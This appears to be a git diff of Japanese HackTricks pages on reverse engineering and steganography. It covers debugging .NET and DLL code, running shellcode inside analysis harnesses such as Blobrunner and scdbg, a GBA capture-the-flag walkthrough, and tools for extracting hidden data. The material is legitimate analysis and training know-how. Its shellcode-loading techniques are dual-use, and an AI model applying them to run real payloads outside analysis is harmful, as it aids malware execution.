これは必要です。なぜなら、これを行わないと、**実行時**にコードにいくつかの**最適化**が適用され、**デバッグ**中に**ブレークポイントがヒットしない**か、一部の**変数が存在しない**可能性があるからです。
|
||||
これは、これを行わないと、**実行時**にコードにいくつかの**最適化**が適用され、**デバッグ**中に**ブレークポイントがヒットしない**か、一部の**変数が存在しない**可能性があるためです。
|
||||
|
||||
その後、.NETアプリケーションが**IIS**によって**実行**されている場合は、次のように**再起動**できます:
|
||||
その後、.NETアプリケーションが**IIS**で**実行**されている場合は、次のように**再起動**できます:
|
||||
```
|
||||
iisreset /noforce
|
||||
```
|
||||
その後、デバッグを開始するためには、すべての開いているファイルを閉じ、**デバッグタブ**内で**プロセスにアタッチ...**を選択します:
|
||||
その後、デバッグを開始するためには、すべての開いているファイルを閉じ、**デバッグタブ**内で**プロセスにアタッチ**を選択します:
|
||||
|
||||
![](<../../.gitbook/assets/image (280).png>)
|
||||
|
||||
次に、**IISサーバー**にアタッチするために**w3wp.exe**を選択し、**アタッチ**をクリックします:
|
||||
次に、**w3wp.exe**を選択して**IISサーバー**にアタッチし、**アタッチ**をクリックします:
|
||||
|
||||
![](<../../.gitbook/assets/image (281).png>)
|
||||
|
||||
プロセスをデバッグしている今、プロセスを停止してすべてのモジュールをロードする時間です。まず、_Debug >> Break All_をクリックし、次に_Debug >> Windows >> Modules_をクリックします:
|
||||
プロセスのデバッグが開始されたので、プロセスを停止してすべてのモジュールをロードします。まず、_Debug >> Break All_ をクリックし、次に _**Debug >> Windows >> Modules**_ をクリックします:
|
||||
|
||||
![](<../../.gitbook/assets/image (286).png>)
|
||||
|
||||
|
@ -116,21 +124,21 @@ iisreset /noforce
|
|||
|
||||
![](<../../.gitbook/assets/image (284).png>)
|
||||
|
||||
**アセンブリエクスプローラ**内の任意のモジュールを右クリックし、**アセンブリをソート**をクリックします:
|
||||
**アセンブリエクスプローラ**内の任意のモジュールを右クリックし、**Sort Assemblies**をクリックします:
|
||||
|
||||
![](<../../.gitbook/assets/image (285).png>)
|
||||
|
||||
## Javaデコンパイラ
|
||||
## Java decompiler
|
||||
|
||||
[https://github.com/skylot/jadx](https://github.com/skylot/jadx)\
|
||||
[https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases)
|
||||
|
||||
## DLLのデバッグ
|
||||
## Debugging DLLs
|
||||
|
||||
### IDAを使用する
|
||||
### Using IDA
|
||||
|
||||
* **rundll32をロード**(64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe)
|
||||
* **Windbgデバッガ**を選択
|
||||
* **Windbgデバッガー**を選択
|
||||
* "**ライブラリの読み込み/アンロード時に中断**"を選択
|
||||
|
||||
![](<../../.gitbook/assets/image (135).png>)
|
||||
|
@ -141,20 +149,20 @@ iisreset /noforce
|
|||
|
||||
その後、デバッグを開始すると、**各DLLがロードされるたびに実行が停止**され、rundll32がDLLをロードすると実行が停止します。
|
||||
|
||||
しかし、ロードされたDLLのコードにどのようにアクセスできますか?この方法を使用すると、わかりません。
|
||||
しかし、ロードされたDLLのコードにどうやってアクセスできるのでしょうか?この方法を使用しても、私は方法がわかりません。
|
||||
|
||||
### x64dbg/x32dbgを使用する
|
||||
### Using x64dbg/x32dbg
|
||||
|
||||
* **rundll32をロード**(64ビットはC:\Windows\System32\rundll32.exe、32ビットはC:\Windows\SysWOW64\rundll32.exe)
|
||||
* **コマンドラインを変更**(_File --> Change Command Line_)し、dllのパスと呼び出したい関数を設定します。例:"C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* _Options --> Settings_を変更し、「**DLL Entry**」を選択します。
|
||||
* その後、**実行を開始**し、デバッガは各dllメインで停止し、いずれかの時点で**dllのエントリ**で実行が停止します。そこから、ブレークポイントを設定したいポイントを検索します。
|
||||
* **コマンドラインを変更**( _File --> Change Command Line_ )し、dllのパスと呼び出したい関数を設定します。例: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* _Options --> Settings_ を変更し、**"DLL Entry"**を選択します。
|
||||
* その後、**実行を開始**し、デバッガーは各dllメインで停止します。いずれかの時点で、**dllのエントリ**に停止します。そこから、ブレークポイントを設定したいポイントを検索します。
|
||||
|
||||
win64dbgで実行が何らかの理由で停止されると、**win64dbgウィンドウの上部**にいる**どのコードを見ているか**が表示されます:
|
||||
実行がwin64dbgで何らかの理由で停止されると、**win64dbgウィンドウの上部**にいる**どのコードを見ているか**が表示されます:
|
||||
|
||||
![](<../../.gitbook/assets/image (137).png>)
|
||||
|
||||
その後、デバッグが停止されたdll内のコードを確認できます。
|
||||
その後、デバッグしたいdllで実行が停止したことがわかります。
|
||||
|
||||
## GUIアプリ/ビデオゲーム
|
||||
|
||||
|
@ -173,10 +181,10 @@ win64dbgで実行が何らかの理由で停止されると、**win64dbgウィ
|
|||
### Blobrunnerを使用したシェルコードのデバッグ
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner)は、**シェルコード**をメモリ空間に**割り当て**し、シェルコードが割り当てられた**メモリアドレス**を示し、実行を**停止**します。\
|
||||
その後、プロセスにデバッガ(Idaまたはx64dbg)を**アタッチ**し、指定されたメモリアドレスに**ブレークポイントを設定**し、実行を**再開**します。これにより、シェルコードのデバッグが可能になります。
|
||||
その後、プロセスにデバッガー(Idaまたはx64dbg)を**アタッチ**し、指定されたメモリアドレスに**ブレークポイントを設定**し、実行を**再開**します。これにより、シェルコードのデバッグが可能になります。
|
||||
|
||||
リリースのGitHubページには、コンパイルされたリリースが含まれるzipファイルがあります:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
以下のリンクにBlobrunnerのわずかに変更されたバージョンがあります。コンパイルするには、Visual Studio CodeでC/C++プロジェクトを作成し、コードをコピーして貼り付け、ビルドします。
|
||||
リリースのgithubページには、コンパイルされたリリースが含まれるzipファイルがあります:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
以下のリンクにBlobrunnerのわずかに変更されたバージョンがあります。コンパイルするには、Visual Studio CodeでC/C++プロジェクトを作成し、コードをコピーして貼り付け、ビルドしてください。
|
||||
|
||||
{% content-ref url="blobrunner.md" %}
|
||||
[blobrunner.md](blobrunner.md)
|
||||
|
@ -184,25 +192,27 @@ win64dbgで実行が何らかの理由で停止されると、**win64dbgウィ
|
|||
|
||||
### jmp2itを使用したシェルコードのデバッグ
|
||||
|
||||
[**jmp2it**](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)はBlobrunnerに非常に似ています。**シェルコード**をメモリ空間に**割り当て**し、**永遠のループ**を開始します。その後、プロセスにデバッガを**アタッチ**し、**開始**を再生して2〜5秒待って**停止**を押すと、**永遠のループ**内にいます。永遠のループの次の命令にジャンプしてシェルコードを呼び出し、最終的にシェルコードを実行することができます。
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)は、Blobrunnerに非常に似ています。**シェルコード**をメモリ空間に**割り当て**し、**永遠のループ**を開始します。その後、プロセスに**デバッガーをアタッチ**し、**開始**を再生して2〜5秒待って**停止**を押すと、**永遠のループ**内にいます。永遠のループの次の命令にジャンプして、最終的にシェルコードを実行することができます。
|
||||
|
||||
![](<../../.gitbook/assets/image (397).png>)
|
||||
|
||||
[リリースページ内でjmp2itのコンパイル済みバージョンをダウンロードできます](https://github.com/adamkramer/jmp2it/releases/)。
|
||||
[リリースページ内でjmp2itのコンパイル済みバージョンをダウンロード](https://github.com/adamkramer/jmp2it/releases/)できます。
|
||||
|
||||
### Cutterを使用したシェルコードのデバッグ
|
||||
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)はradareのGUIです。Cutterを使用すると、シェルコードをエミュレートして動的に検査できます。
|
||||
|
||||
Cutterを使用すると、「ファイルを開く」と「シェルコードを開く」が可能です。私の場合、シェルコードをファイルとして開くと正しく逆コンパイルされましたが、シェルコードとして開くとできませんでした:
|
||||
Cutterでは、「ファイルを開く」と「シェルコードを開く」が可能です。私の場合、シェルコードをファイルとして開いたときは正しく逆コンパイルされましたが、シェルコードとして開いたときは逆コンパイルされませんでした:
|
||||
|
||||
![](<../../.gitbook/assets/image (400).png>)
|
||||
|
||||
特定の場所でエミュレーションを開始するには、そこにブレークポイントを設定し、Cutterが自動的にそこからエミュレーションを開始するようにします:
|
||||
特定の場所でエミュレーションを開始するには、そこにbpを設定し、おそらくcutterは自動的にそこからエミュレーションを開始します:
|
||||
|
||||
![](<../../.gitbook/assets/image (399).png>)
|
||||
|
||||
例えば、ヘックスダンプ内でスタックを表示できます:
|
||||
![](<../../.gitbook/assets/image (401).png>)
|
||||
|
||||
例えば、16進ダンプ内でスタックを表示できます:
|
||||
|
||||
![](<../../.gitbook/assets/image (402).png>)
|
||||
|
||||
|
@ -218,11 +228,11 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
|
|||
scdbg.exe -f shellcode /findsc #Find offset where starts
|
||||
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
|
||||
```
|
||||
scDbgには、グラフィカルなランチャーも備わっており、希望するオプションを選択してシェルコードを実行することができます。
|
||||
scDbgには、グラフィカルなランチャーも付属しており、そこから希望するオプションを選択してシェルコードを実行することができます。
|
||||
|
||||
![](<../../.gitbook/assets/image (398).png>)
|
||||
|
||||
**Create Dump** オプションは、メモリ内でシェルコードが動的に変更された場合に最終的なシェルコードをダンプします(デコードされたシェルコードをダウンロードするのに便利です)。**start offset** は特定のオフセットでシェルコードを開始するのに役立ちます。**Debug Shell** オプションは、scDbgターミナルを使用してシェルコードをデバッグするのに役立ちます(ただし、前述のいずれかのオプションの方がこの問題に対してはより良いと考えられます。Idaやx64dbgを使用できるため)。
|
||||
**Create Dump** オプションは、メモリ内でシェルコードが動的に変更された場合に最終的なシェルコードをダンプします(デコードされたシェルコードをダウンロードするのに便利です)。**start offset** は特定のオフセットでシェルコードを開始するのに役立ちます。**Debug Shell** オプションは、scDbgターミナルを使用してシェルコードをデバッグするのに役立ちます(ただし、前述のいずれかのオプションの方がこの問題にはより適していると考えています。Idaやx64dbgを使用できるため)。
|
||||
|
||||
### CyberChefを使用した逆アセンブル
|
||||
|
||||
|
@ -230,12 +240,12 @@ scDbgには、グラフィカルなランチャーも備わっており、希望
|
|||
|
||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||
|
||||
この難読化ツールは、すべての `mov` 命令を変更します(本当にクールです)。また、実行フローを変更するために割り込みを使用します。動作方法の詳細については以下を参照してください:
|
||||
この難読化ツールは、すべての`mov`命令を変更します(本当にクールです)。また、実行フローを変更するために割り込みを使用します。動作の詳細については以下を参照してください:
|
||||
|
||||
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
|
||||
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
|
||||
|
||||
幸運な場合、[demovfuscator](https://github.com/kirschju/demovfuscator) がバイナリを復号化するでしょう。いくつかの依存関係があります。
|
||||
幸運な場合、[demovfuscator](https://github.com/kirschju/demovfuscator) がバイナリを復号化することができます。いくつかの依存関係があります。
|
||||
```
|
||||
apt-get install libcapstone-dev
|
||||
apt-get install libz3-dev
|
||||
|
@ -275,7 +285,7 @@ Golangバイナリを逆アセンブルする必要がある場合は、IDAプ
|
|||
|
||||
## コンパイルされたPython
|
||||
|
||||
このページでは、ELF/EXE PythonコンパイルされたバイナリからPythonコードを取得する方法が見つかります:
|
||||
このページでは、ELF/EXE Pythonコンパイル済みバイナリからPythonコードを取得する方法が見つかります:
|
||||
|
||||
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
|
@ -290,7 +300,7 @@ GBAゲームの**バイナリ**を取得した場合、それを**エミュレ
|
|||
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidraプラグイン
|
||||
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidraプラグイン
|
||||
|
||||
[**no$gba**](https://problemkaputt.de/gba.htm)では、_**Options --> Emulation Setup --> Controls**_でGame Boy Advanceの**ボタン**を押す方法がわかります
|
||||
[**no$gba**](https://problemkaputt.de/gba.htm)では、_**Options --> Emulation Setup --> Controls**_でゲームボーイアドバンスの**ボタン**を押す方法がわかります
|
||||
|
||||
![](<../../.gitbook/assets/image (578).png>)
|
||||
|
||||
|
@ -313,7 +323,7 @@ L = 256
|
|||
|
||||
前の画像では、その関数が**FUN\_080015a8**(アドレス:_0x080015fa_および_0x080017ac_)から呼び出されていることがわかります。
|
||||
|
||||
その関数では、いくつかの初期化操作(重要ではない)の後に:
|
||||
その関数では、いくつかの初期化操作(重要ではない)の後に、
|
||||
```c
|
||||
void FUN_080015a8(void)
|
||||
|
||||
|
@ -374,13 +384,13 @@ FUN_08000864();
|
|||
if (uVar1 == 0x10) {
|
||||
DAT_030000d8 = DAT_030000d8 + 0x3a;
|
||||
```
|
||||
前のコードでは、**uVar1**(**押されたボタンの値**が格納されている場所)をいくつかの値と比較しています:
|
||||
前のコードでは、**uVar1**(**押されたボタンの値**が格納される場所)をいくつかの値と比較しています:
|
||||
|
||||
- まず、**値4**(**SELECT**ボタン)と比較されます:このボタンはチャレンジでは画面をクリアします
|
||||
- 次に、**値8**(**START**ボタン)と比較されます:このチャレンジでは、コードがフラグを取得するために有効かどうかをチェックします。
|
||||
- この場合、変数**`DAT_030000d8`**が0xf3と比較され、値が同じ場合はいくつかのコードが実行されます。
|
||||
- それ以外の場合、一部のcont(`DAT_030000d4`)がチェックされます。これはcontであるため、コードに入る直後に1が追加されます。\
|
||||
8未満の場合、**`DAT_030000d8`**に値を**追加**することが含まれる何かが行われます(基本的には、contが8未満の間、この変数に押されたキーの値を追加しています)。
|
||||
* まず、**値4**(**SELECT**ボタン)と比較されます:このボタンはチャレンジでは画面をクリアします
|
||||
* 次に、**値8**(**START**ボタン)と比較されます:このチャレンジでは、コードがフラグを取得するために有効かどうかをチェックします。
|
||||
* この場合、変数**`DAT_030000d8`**が0xf3と比較され、値が同じ場合はいくつかのコードが実行されます。
|
||||
* それ以外の場合、一部のcont(`DAT_030000d4`)がチェックされます。これはcontであるため、コードに入るとすぐに1が追加されます。\
|
||||
8未満の場合、**`DAT_030000d8`**に値を**追加**する何かが行われます(基本的には、contが8未満の間、この変数に押されたキーの値を追加しています)。
|
||||
|
||||
したがって、このチャレンジでは、ボタンの値を知っていると、**長さが8未満で、結果の加算が0xf3になる組み合わせを押す必要がありました。**
|
||||
|
||||
|
@ -395,16 +405,22 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
|||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD)(バイナリの難読化)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricksのPDFをダウンロード**したり、**HackTricksで企業を宣伝**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,21 +4,29 @@
|
|||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。
|
||||
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **ファイルからデータを抽出する**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
埋め込まれた隠しファイルやデータを検索するためのツール。`apt` を介してインストールされ、そのソースは [GitHub](https://github.com/ReFirmLabs/binwalk) で入手可能です。
|
||||
埋め込まれた隠しファイルやデータを検索するためのツール。`apt`を介してインストールされ、そのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)で入手できます。
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
|
@ -26,7 +34,7 @@ binwalk --dd ".*" file # Extracts all data
|
|||
```
|
||||
### **Foremost**
|
||||
|
||||
ファイルのヘッダーとフッターに基づいてファイルを回復します。png画像に便利です。[GitHub](https://github.com/korczis/foremost)でソースを使用して`apt`を介してインストールします。
|
||||
ファイルをヘッダーとフッターに基づいて回復し、png画像に便利です。[GitHub](https://github.com/korczis/foremost)でソースを使用して`apt`を介してインストールします。
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
|
@ -66,11 +74,11 @@ strings -e B -n 6 file # 32bit strings (big-endian)
|
|||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
```
|
||||
## **テキスト内の隠しデータの抽出**
|
||||
## **テキスト内の隠されたデータの抽出**
|
||||
|
||||
### **スペース内の隠しデータ**
|
||||
### **スペース内の隠されたデータ**
|
||||
|
||||
見かけ上空白のスペースに不可視文字が情報を隠している可能性があります。このデータを抽出するには、[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)を訪れてください。
|
||||
見かけ上空白のスペースに不可視の文字が情報を隠しているかもしれません。このデータを抽出するには、[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)を訪れてください。
|
||||
|
||||
## **画像からデータを抽出する**
|
||||
|
||||
|
@ -80,13 +88,13 @@ cmp original.jpg stego.jpg -b -l
|
|||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
画像の修復を試みる場合、メタデータコメントを追加すると役立つかもしれません:
|
||||
画像の修復を試みる際、メタデータコメントを追加すると役立つかもしれません:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **データの隠蔽にSteghideを使用**
|
||||
|
||||
Steghideは、`JPEG、BMP、WAV、およびAU`ファイル内にデータを隠蔽することを容易にし、暗号化されたデータを埋め込んだり抽出したりすることができます。`apt`を使用して簡単にインストールでき、[GitHubでソースコードが利用可能です](https://github.com/StefanoDeVuono/steghide)。
|
||||
Steghideは、`JPEG、BMP、WAV、およびAU`ファイル内にデータを隠すことを容易にし、暗号化されたデータを埋め込んだり抽出したりすることができます。`apt`を使用して簡単にインストールでき、[GitHubでソースコードが利用可能です](https://github.com/StefanoDeVuono/steghide)。
|
||||
|
||||
**コマンド:**
|
||||
|
||||
|
@ -112,9 +120,9 @@ zsteg は、PNG および BMP ファイル内の隠されたデータを特定
|
|||
|
||||
### **StegoVeritas および Stegsolve**
|
||||
|
||||
**stegoVeritas** はメタデータをチェックし、画像変換を実行し、LSB ブルートフォースなどを適用します。すべてのオプションの完全なリストについては `stegoveritas.py -h` を使用し、すべてのチェックを実行するには `stegoveritas.py stego.jpg` を使用します。
|
||||
**stegoVeritas** はメタデータをチェックし、画像変換を実行し、LSB ブルートフォースなどを適用します。全オプションのリストを表示するには `stegoveritas.py -h` を使用し、すべてのチェックを実行するには `stegoveritas.py stego.jpg` を使用します。
|
||||
|
||||
**Stegsolve** はさまざまなカラーフィルタを適用して画像内の隠されたテキストやメッセージを明らかにします。[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) で入手できます。
|
||||
**Stegsolve** はさまざまなカラーフィルタを適用して画像内の隠されたテキストやメッセージを表示します。[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) で入手できます。
|
||||
|
||||
### **隠されたコンテンツの検出のための FFT**
|
||||
|
||||
|
@ -130,7 +138,7 @@ Stegpy は、PNG、BMP、GIF、WebP、WAV などの形式をサポートする
|
|||
|
||||
### **PNG ファイルの解析用の Pngcheck**
|
||||
|
||||
PNG ファイルを解析したり、その信頼性を検証したりするには、以下を使用します:
|
||||
PNG ファイルを解析したり、その信頼性を検証するには、
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
|
@ -147,7 +155,7 @@ pngcheck stego.png
|
|||
|
||||
## **オーディオからデータを抽出する**
|
||||
|
||||
**オーディオステガノグラフィ**は、音声ファイル内に情報を隠すためのユニークな方法を提供します。異なるツールが埋め込みや隠されたコンテンツの取り出しに使用されます。
|
||||
**オーディオステガノグラフィ**は、音声ファイル内に情報を隠すためのユニークな方法を提供します。異なるツールが埋め込みや隠されたコンテンツの取得に使用されます。
|
||||
|
||||
### **Steghide (JPEG、BMP、WAV、AU)**
|
||||
|
||||
|
@ -173,21 +181,21 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
|||
```
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx).
|
||||
Deepsoundは、AES-256を使用して音声ファイル内の情報の暗号化と検出を可能にします。[公式ページ](http://jpinsoft.net/deepsound/download.aspx)からダウンロードできます。
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more.
|
||||
オーディオファイルの視覚的および分析的検査には非常に価値のあるツールであるSonic Visualizerは、他の手段では検出できない隠された要素を明らかにすることができます。詳細については、[公式ウェブサイト](https://www.sonicvisualiser.org/)をご覧ください。
|
||||
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
オーディオファイル内のDTMFトーンを検出することは、[このDTMF検出器](https://unframework.github.io/dtmf-detect/)や[DialABC](http://dialabc.com/sound/detect/index.html)などのオンラインツールを使用して達成できます。
|
||||
|
||||
## **Other Techniques**
|
||||
## **その他のテクニック**
|
||||
|
||||
### **Binary Length SQRT - QR Code**
|
||||
|
||||
Binary data that squares to a whole number might represent a QR code. Use this snippet to check:
|
||||
平方根が整数になるバイナリデータは、QRコードを表す可能性があります。次のスニペットを使用して確認してください:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
|
@ -201,16 +209,22 @@ math.sqrt(2500) #50
|
|||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,25 +2,51 @@
|
|||
|
||||
<details>
|
||||
|
||||
